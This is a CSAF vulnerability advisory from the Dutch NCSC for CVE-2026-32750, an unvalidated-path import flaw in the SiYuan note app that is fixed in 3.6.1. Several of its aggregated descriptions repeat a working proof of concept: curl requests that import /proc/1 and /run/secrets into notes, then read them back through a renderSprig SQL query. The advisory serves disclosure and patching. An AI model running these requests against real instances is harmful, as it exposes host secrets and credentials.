{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-32750",
        "tracking": {
            "current_release_date": "2026-03-27T00:17:17.248160Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-32750",
            "initial_release_date": "2026-03-16T19:42:08.633684Z",
            "revision_history": [
                {
                    "date": "2026-03-16T19:42:08.633684Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-16T19:42:13.660376Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-19T15:31:11.577279Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T18:19:54.592917Z",
                    "number": "4",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T18:19:57.622819Z",
                    "number": "5",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T18:25:30.408870Z",
                    "number": "6",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T18:25:40.789373Z",
                    "number": "7",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T19:55:59.673622Z",
                    "number": "8",
                    "summary": "Description removed for source.| Description created for source."
                },
                {
                    "date": "2026-03-20T21:42:01.646929Z",
                    "number": "9",
                    "summary": "References created (3)."
                },
                {
                    "date": "2026-03-20T21:59:45.881628Z",
                    "number": "10",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-21T13:46:51.890499Z",
                    "number": "11",
                    "summary": "References removed (3)."
                },
                {
                    "date": "2026-03-22T00:52:16.074704Z",
                    "number": "12",
                    "summary": "References created (3)."
                },
                {
                    "date": "2026-03-22T11:25:16.826628Z",
                    "number": "13",
                    "summary": "References removed (3)."
                },
                {
                    "date": "2026-03-23T00:54:25.835002Z",
                    "number": "14",
                    "summary": "References created (3)."
                },
                {
                    "date": "2026-03-23T05:16:23.161862Z",
                    "number": "15",
                    "summary": "References removed (3)."
                },
                {
                    "date": "2026-03-24T10:17:48.686370Z",
                    "number": "16",
                    "summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-03-24T10:17:57.299841Z",
                    "number": "17",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-24T20:56:48.933856Z",
                    "number": "18",
                    "summary": "References created (3)."
                },
                {
                    "date": "2026-03-24T20:56:51.814980Z",
                    "number": "19",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-25T15:39:52.531096Z",
                    "number": "20",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-27T00:13:02.487932Z",
                    "number": "21",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-03-27T00:13:05.416382Z",
                    "number": "22",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-27T00:13:52.792158Z",
                    "number": "23",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| References created (4)."
                }
            ],
            "status": "interim",
            "version": "23"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<3.6.1",
                                "product": {
                                    "name": "vers:unknown/<3.6.1",
                                    "product_id": "CSAFPID-5839032",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "siyuan"
                    }
                ],
                "category": "vendor",
                "name": "B3log"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<3.6.1",
                                "product": {
                                    "name": "vers:unknown/<3.6.1",
                                    "product_id": "CSAFPID-5825995"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0|<=0.0.0-20260313024916-fd6526133bb3",
                                "product": {
                                    "name": "vers:unknown/>=0|<=0.0.0-20260313024916-fd6526133bb3",
                                    "product_id": "CSAFPID-5920116"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "siyuan"
                    }
                ],
                "category": "vendor",
                "name": "siyuan-note"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-32750",
            "cwe": {
                "id": "CWE-22",
                "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "### Summary\n`POST /api/import/importStdMd` passes the `localPath` parameter directly to `model.ImportFromLocalPath` with **zero path validation**. The function recursively reads every file under the given path and permanently stores their content as SiYuan note documents in the workspace database, making them searchable and accessible to all workspace users.\n\n### Details\n**File:** `kernel/api/import.go` - function `importStdMd`\n\n```go\nfunc importStdMd(c *gin.Context) {\n    notebook  := arg[\"notebook\"].(string)\n    localPath := arg[\"localPath\"].(string)   // no validation whatsoever\n    toPath    := arg[\"toPath\"].(string)\n\n    err := model.ImportFromLocalPath(notebook, localPath, toPath)\n    // ↑ calls filelock.Walk(localPath, ...) - reads entire directory tree\n    // and writes every file's content into workspace SQLite as note blocks\n}\n```\n\n**`model.ImportFromLocalPath`** (`kernel/model/import.go:784`):\n```go\nfunc ImportFromLocalPath(boxID, localPath string, toPath string) (err error) {\n    // ...\n    filelock.Walk(localPath, func(currentPath string, d fs.DirEntry, ...) error {\n        // reads file content → converts to .sy note → stores in database\n    })\n}\n```\n\nUnlike `globalCopyFiles`, there is **no blocklist at all**. Any readable path is accepted. The imported content is **permanently stored** in the workspace SQLite database and survives restarts.\n\n**Chained attack with Bug #1 (renderSprig):**\nAdmin imports sensitive files → content stored in `blocks` table → non-admin user queries via `querySQL` through `renderSprig`.\n\n### PoC\n**Environment:**\n```bash\ndocker run -d --name siyuan -p 6806:6806 \\\n  -v $(pwd)/workspace:/siyuan/workspace \\\n  b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123\n```\n\n**Exploit:**\n```bash\nTOKEN=\"YOUR_ADMIN_TOKEN\"\n\n# Step 1: Create a notebook to import into\nNOTEBOOK=$(curl -s -X POST http://localhost:6806/api/notebook/createNotebook \\\n  -H \"Authorization: Token $TOKEN\" -H \"Content-Type: application/json\" \\\n  -d '{\"name\":\"Exfil\"}' | python3 -c \"import sys,json; print(json.load(sys.stdin)['data']['notebook']['id'])\")\n\n# Step 2: Import /proc/1/ - stores cmdline, environ, maps as notes\ncurl -s -X POST http://localhost:6806/api/import/importStdMd \\\n  -H \"Authorization: Token $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \"{\\\"notebook\\\":\\\"$NOTEBOOK\\\",\\\"localPath\\\":\\\"/proc/1\\\",\\\"toPath\\\":\\\"/\\\"}\"\n\n# Step 3: Import Docker secrets (if present)\ncurl -s -X POST http://localhost:6806/api/import/importStdMd \\\n  -H \"Authorization: Token $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \"{\\\"notebook\\\":\\\"$NOTEBOOK\\\",\\\"localPath\\\":\\\"/run/secrets\\\",\\\"toPath\\\":\\\"/\\\"}\"\n\n# Step 4: Any authenticated user (non-admin) queries the imported secrets\ncurl -s -X POST http://localhost:6806/api/template/renderSprig \\\n  -H \"Authorization: Token $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\":\"{{range $r := (querySQL \\\"SELECT content FROM blocks LIMIT 50\\\")}}{{$r.content}}\\n---\\n{{end}}\"}'\n```\n\n### Impact\nAn admin can permanently import the contents of any readable host directory into the workspace as searchable notes. Unlike `globalCopyFiles`, there is no blocklist - `/proc/`, `/etc/`, `/run/secrets/`, `/home/` are all accepted.\n\n**Data persists** in the workspace database across restarts and is accessible to Publish Service Reader accounts. Combined with the `renderSprig` SQL injection (separate advisory), a non-admin user can then read all imported secrets without any additional privileges.",
                    "title": "github - https://github.com/advisories/GHSA-rjhh-m223-9qqv"
                },
                {
                    "category": "description",
                    "text": "SiYuan is a personal knowledge management system. In versions 3.6.0 and below, POST /api/import/importStdMd passes the localPath parameter directly to model.ImportFromLocalPath with zero path validation. The function recursively reads every file under the given path and permanently stores their content as SiYuan note documents in the workspace database, making them searchable and accessible to all workspace users. Data persists in the workspace database across restarts and is accessible to Publish Service Reader accounts. Combined with the renderSprig SQL injection ( separate advisory ), a non-admin user can then read all imported secrets without any additional privileges. This issue has been fixed in version 3.6.1.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-32750"
                },
                {
                    "category": "description",
                    "text": "SiYuan is a personal knowledge management system. In versions 3.6.0 and below, POST /api/import/importStdMd passes the localPath parameter directly to model.ImportFromLocalPath with zero path validation. The function recursively reads every file under the given path and permanently stores their content as SiYuan note documents in the workspace database, making them searchable and accessible to all workspace users. Data persists in the workspace database across restarts and is accessible to Publish Service Reader accounts. Combined with the renderSprig SQL injection ( separate advisory ), a non-admin user can then read all imported secrets without any additional privileges. This issue has been fixed in version 3.6.1.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/32xxx/CVE-2026-32750.json"
                },
                {
                    "category": "description",
                    "text": "### Summary\nPOST /api/import/importStdMd passes the localPath parameter directly to model.ImportFromLocalPath with zero path validation. The function recursively reads every file under the given path and permanently stores their content as SiYuan note documents in the workspace database, making them searchable and accessible to all workspace users.\n\n### Details\nFile: kernel/api/import.go - function importStdMd\n\n```go\nfunc importStdMd(c *gin.Context) {\n    notebook  := arg[\"notebook\"].(string)\n    localPath := arg[\"localPath\"].(string)\n    toPath    := arg[\"toPath\"].(string)\n\n    err := model.ImportFromLocalPath(notebook, localPath, toPath)\n}\n```\n\nmodel.ImportFromLocalPath (kernel/model/import.go:784):\n```go\nfunc ImportFromLocalPath(boxID, localPath string, toPath string) (err error) {\n    filelock.Walk(localPath, func(currentPath string, d fs.DirEntry, ...) error {\n    })\n}\n```\n\nUnlike globalCopyFiles, there is no blocklist at all. Any readable path is accepted. The imported content is permanently stored in the workspace SQLite database and survives restarts.\n\nChained attack with Bug #1 (renderSprig):\nAdmin imports sensitive files --> content stored in blocks table --> non-admin user queries via querySQL through renderSprig.\n\n### PoC\n```bash\ndocker run -d --name siyuan -p 6806:6806 \\\n  -v $(pwd)/workspace:/siyuan/workspace \\\n  b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123\n```\n\n**Exploit:**\n```bash\nTOKEN=\"YOUR_ADMIN_TOKEN\"\n\nNOTEBOOK=$(curl -s -X POST http://localhost:6806/api/notebook/createNotebook \\\n  -H \"Authorization: Token $TOKEN\" -H \"Content-Type: application/json\" \\\n  -d '{\"name\":\"Exfil\"}' | python3 -c \"import sys,json; print(json.load(sys.stdin)['data']['notebook']['id'])\")\n\ncurl -s -X POST http://localhost:6806/api/import/importStdMd \\\n  -H \"Authorization: Token $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \"{\\\"notebook\\\":\\\"$NOTEBOOK\\\",\\\"localPath\\\":\\\"/proc/1\\\",\\\"toPath\\\":\\\"/\\\"}\"\n\ncurl -s -X POST http://localhost:6806/api/import/importStdMd \\\n  -H \"Authorization: Token $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \"{\\\"notebook\\\":\\\"$NOTEBOOK\\\",\\\"localPath\\\":\\\"/run/secrets\\\",\\\"toPath\\\":\\\"/\\\"}\"\n\ncurl -s -X POST http://localhost:6806/api/template/renderSprig \\\n  -H \"Authorization: Token $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\":\"{{range $r := (querySQL \\\"SELECT content FROM blocks LIMIT 50\\\")}}{{$r.content}}\\n---\\n{{end}}\"}'\n```\n\n### Impact\nAn admin can permanently import the contents of any readable host directory into the workspace as searchable notes. Unlike globalCopyFiles, there is no blocklist - /proc/, /etc/, /run/secrets/, /home/ are all accepted.\n\nData persists in the workspace database across restarts and is accessible to Publish Service Reader accounts. Combined with the renderSprig SQL injection ( separate advisory ), a non-admin user can then read all imported secrets without any additional privileges.",
                    "title": "github - https://api.github.com/advisories/GHSA-rjhh-m223-9qqv"
                },
                {
                    "category": "description",
                    "text": "SiYuan importStdMd: unvalidated localPath imports arbitrary host directories as persistent notes in github.com/siyuan-note/siyuan",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4708.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "### Summary\nPOST /api/import/importStdMd passes the localPath parameter directly to model.ImportFromLocalPath with zero path validation. The function recursively reads every file under the given path and permanently stores their content as SiYuan note documents in the workspace database, making them searchable and accessible to all workspace users.\n\n### Details\nFile: kernel/api/import.go - function importStdMd\n\n```go\nfunc importStdMd(c *gin.Context) {\n    notebook  := arg[\"notebook\"].(string)\n    localPath := arg[\"localPath\"].(string)\n    toPath    := arg[\"toPath\"].(string)\n\n    err := model.ImportFromLocalPath(notebook, localPath, toPath)\n}\n```\n\nmodel.ImportFromLocalPath (kernel/model/import.go:784):\n```go\nfunc ImportFromLocalPath(boxID, localPath string, toPath string) (err error) {\n    filelock.Walk(localPath, func(currentPath string, d fs.DirEntry, ...) error {\n    })\n}\n```\n\nUnlike globalCopyFiles, there is no blocklist at all. Any readable path is accepted. The imported content is permanently stored in the workspace SQLite database and survives restarts.\n\nChained attack with Bug #1 (renderSprig):\nAdmin imports sensitive files --> content stored in blocks table --> non-admin user queries via querySQL through renderSprig.\n\n### PoC\n```bash\ndocker run -d --name siyuan -p 6806:6806 \\\n  -v $(pwd)/workspace:/siyuan/workspace \\\n  b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123\n```\n\n**Exploit:**\n```bash\nTOKEN=\"YOUR_ADMIN_TOKEN\"\n\nNOTEBOOK=$(curl -s -X POST http://localhost:6806/api/notebook/createNotebook \\\n  -H \"Authorization: Token $TOKEN\" -H \"Content-Type: application/json\" \\\n  -d '{\"name\":\"Exfil\"}' | python3 -c \"import sys,json; print(json.load(sys.stdin)['data']['notebook']['id'])\")\n\ncurl -s -X POST http://localhost:6806/api/import/importStdMd \\\n  -H \"Authorization: Token $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \"{\\\"notebook\\\":\\\"$NOTEBOOK\\\",\\\"localPath\\\":\\\"/proc/1\\\",\\\"toPath\\\":\\\"/\\\"}\"\n\ncurl -s -X POST http://localhost:6806/api/import/importStdMd \\\n  -H \"Authorization: Token $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \"{\\\"notebook\\\":\\\"$NOTEBOOK\\\",\\\"localPath\\\":\\\"/run/secrets\\\",\\\"toPath\\\":\\\"/\\\"}\"\n\ncurl -s -X POST http://localhost:6806/api/template/renderSprig \\\n  -H \"Authorization: Token $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\":\"{{range $r := (querySQL \\\"SELECT content FROM blocks LIMIT 50\\\")}}{{$r.content}}\\n---\\n{{end}}\"}'\n```\n\n### Impact\nAn admin can permanently import the contents of any readable host directory into the workspace as searchable notes. Unlike globalCopyFiles, there is no blocklist - /proc/, /etc/, /run/secrets/, /home/ are all accepted.\n\nData persists in the workspace database across restarts and is accessible to Publish Service Reader accounts. Combined with the renderSprig SQL injection ( separate advisory ), a non-admin user can then read all imported secrets without any additional privileges.",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-rjhh-m223-9qqv.json?alt=media"
                },
                {
                    "category": "other",
                    "text": "0.00038",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "3.2",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "There is exploit data available from source Nvd, Is related to (a version of) an uncommon product",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5825995",
                    "CSAFPID-5839032",
                    "CSAFPID-5920116"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://github.com/advisories/GHSA-rjhh-m223-9qqv"
                },
                {
                    "category": "external",
                    "summary": "Source raw - github",
                    "url": "https://api.github.com/advisories/GHSA-rjhh-m223-9qqv"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-rjhh-m223-9qqv"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-32750"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/32xxx/CVE-2026-32750.json"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-rjhh-m223-9qqv.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4708.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-rjhh-m223-9qqv"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-rjhh-m223-9qqv"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/siyuan-note/siyuan/commit/13b6d3d45e83525654d120f32a3fdc5d9e95df0b"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; osv",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32750"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
                        "baseScore": 6.8,
                        "baseSeverity": "MEDIUM"
                    },
                    "products": [
                        "CSAFPID-5825995",
                        "CSAFPID-5839032",
                        "CSAFPID-5920116"
                    ]
                }
            ],
            "title": "CVE-2026-32750"
        }
    ]
}